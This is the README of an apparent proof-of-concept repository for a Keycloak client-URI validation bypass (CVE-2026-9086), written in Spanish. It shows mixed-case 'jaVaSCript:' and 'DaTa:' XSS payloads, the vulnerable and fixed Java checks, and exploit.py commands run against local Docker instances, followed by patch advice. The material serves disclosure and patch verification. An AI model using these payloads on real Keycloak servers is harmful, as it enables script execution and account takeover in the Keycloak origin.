
Prueba de concepto de CVE-2026-9086 para la evasión de la validación de URI de cliente de Keycloak mediante payloads XSS javascript: y data: con mayúsculas y minúsculas mixtas, con verificación basada en Docker de las versiones vulnerables y corregidas.
Este repositorio es una prueba de concepto (PoC) de la vulnerabilidad de Cross-Site Scripting (XSS) CVE-2026-9086 en la validación de URI de cliente de Keycloak.
Keycloak vulnerable validaba los esquemas javascript: y data: de los URI configurados en el cliente distinguiendo entre mayúsculas y minúsculas. Por lo tanto, mediante notación mixta como jaVaSCript: o DaTa: es posible evadir la validación de esquemas prohibidos. Dado que el navegador interpreta los esquemas de URI sin distinguir mayúsculas de minúsculas, si la víctima hace clic en un enlace manipulado, JavaScript podría ejecutarse en el origen de Keycloak.
Esta PoC inicia Keycloak 26.6.3 (versión vulnerable) y 26.6.4 (versión corregida) con Docker, y registra el mismo URI de notación mixta a través de la API REST de administración. Comprueba que en la versión vulnerable el registro se realiza correctamente y en la corregida se rechaza con HTTP 400.
Esta PoC no abre el URI registrado en el navegador ni ejecuta JavaScript.
Este proyecto tiene fines exclusivamente educativos y de verificación de seguridad autorizada. No lo utilice para realizar verificación no autorizada en entornos Keycloak de terceros. El autor no asume ninguna responsabilidad por el mal uso, los daños o las actividades ilegales derivadas de esta herramienta.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client o acceso al endpoint de registro de clientesAntes de la corrección, DefaultClientValidationProvider comparaba los esquemas prohibidos con String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
java.net.URI#getScheme() conserva las mayúsculas y minúsculas de la entrada, por lo que los siguientes URI no coinciden con la comparación y pasan la validación.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
La versión corregida utiliza equalsIgnoreCase().
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Inicie la versión vulnerable y la corregida con Docker Compose.
docker compose up -d
Objetivos de inicio:
| URL | Versión | Resultado esperado |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | Registro de URI correcto (vulnerable) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (corregido) |
El primer inicio puede tardar un poco. Puede comprobar el estado con el siguiente comando.
docker compose logs -f
Cuando aparezca Listening on en ambos registros, finalice la visualización de los registros con Ctrl+C.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Salida esperada:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
El script vuelve a obtener el cliente creado desde la API de administración y también comprueba que el URI manipulado se haya guardado.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Salida esperada:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:Al especificar --scheme data, puede verificar el URI DaTa: de notación mixta.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py solo realiza los siguientes pasos.
admin-clijaVaSCript: o DaTa: de notación mixta en redirectUris/admin/realms/master/clientsNo se inicia el navegador, no se navega al URI registrado ni se ejecuta JavaScript.
Actualice Keycloak 26.6 a 26.6.4 o posterior y Red Hat build of Keycloak 26.4 a 26.4.13 o posterior.
Además, audite la configuración de URI de los clientes existentes y elimine cualquier valor que utilice javascript: o data: independientemente de las mayúsculas y minúsculas. Restrinja también el permiso manage-client y el acceso al endpoint de registro de clientes al mínimo necesario.